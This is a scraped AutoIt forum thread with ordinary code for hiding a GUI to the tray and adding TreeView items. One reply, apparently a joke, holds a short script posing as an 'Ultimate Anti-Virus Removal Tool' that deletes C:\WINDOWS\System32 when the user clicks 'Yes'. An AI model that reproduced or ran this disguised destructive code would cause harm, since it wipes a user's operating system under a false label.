Jump to content

Help :: send to tray


rohit
 Share

Recommended Posts

Are you asking if you can make it only have a tray icon and run everything in the background or whenever you minimize it it goes to the tray?

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Link to comment
Share on other sites

At the top of the script use this

Opt ("TrayOnEventMode", 1)
Opt ("TrayMenuMode", 1)
Opt ("TrayAutoPause", 0)

Then use these functions

NOTE $Frm_Main was created with $Frm_Main = GUICreate("My GUI") So replace it with what ever name you gave your variable for GUICreate()

Func Hide_GUI()
    Global $Tr_Disp = 1
    GuiSetState(@SW_HIDE,$Frm_Main )
    TraySetOnEvent(-8,"Restore_GUI")
    TraySetOnEvent(-10,"_Exit")
    TrayTip($Ttl,'Left click to restore' & @CRLF & 'Right click to Exit',5,1)
    TraySetToolTip($Ttl & @CRLF & @CRLF & 'Left click to restore' & @CRLF & 'Right click to Exit')
    Opt("TrayIconHide", 0)
EndFunc   ;<===> Hide_GUI()

Func Restore_GUI()
    GuiSetState(@SW_Show,$Frm_Main )
    WinActivate ($Frm_Main)
    TraySetState ( 2 )
    Opt("TrayIconHide", 1)
EndFunc   ;<===> Restore_GUI()

George

Question about decompiling code? Read the decompiling FAQ and don't bother posting the question in the forums.

Be sure to read and follow the forum rules. -AKA the AutoIt Reading and Comprehension Skills test.***

The PCRE (Regular Expression) ToolKit for AutoIT - (Updated Oct 20, 2011 ver:3.0.1.13) - Please update your current version before filing any bug reports. The installer now includes both 32 and 64 bit versions. No change in version number.

Visit my Blog .. currently not active but it will soon be resplendent with news and views. Also please remove any links you may have to my website. it is soon to be closed and replaced with something else.

"Old age and treachery will always overcome youth and skill!"

Link to comment
Share on other sites

thanx... I am loving autoit :)

One more question.. ^_^ . can i dynamically change a tree view by calling a function predefined...

........like i add a new menu item by calling a function through a button...[change is immediately seen in the gui]

thanx once more :)

Edited by rohit
Link to comment
Share on other sites

Ok. Look at this example:

#include <GUIConstants.au3>
#Include <GuiTreeView.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Form1", 325, 296, 193, 125)
$TreeCtrl = GUICtrlCreateTreeView(8, 8, 305, 249)
$Add_button = GUICtrlCreateButton("Add_button", 240, 264, 75, 25, 0)
$Add_Input = GUICtrlCreateInput("Add_Input", 8, 266, 225, 21)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $Add_button
            $input = GUICtrlRead($Add_Input)
            $index = _GUICtrlTreeView_GetSelection($TreeCtrl)
            _GUICtrlTreeView_AddChild($TreeCtrl, $index, $input)
            _GUICtrlTreeView_Expand($TreeCtrl)
    EndSwitch
WEnd
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...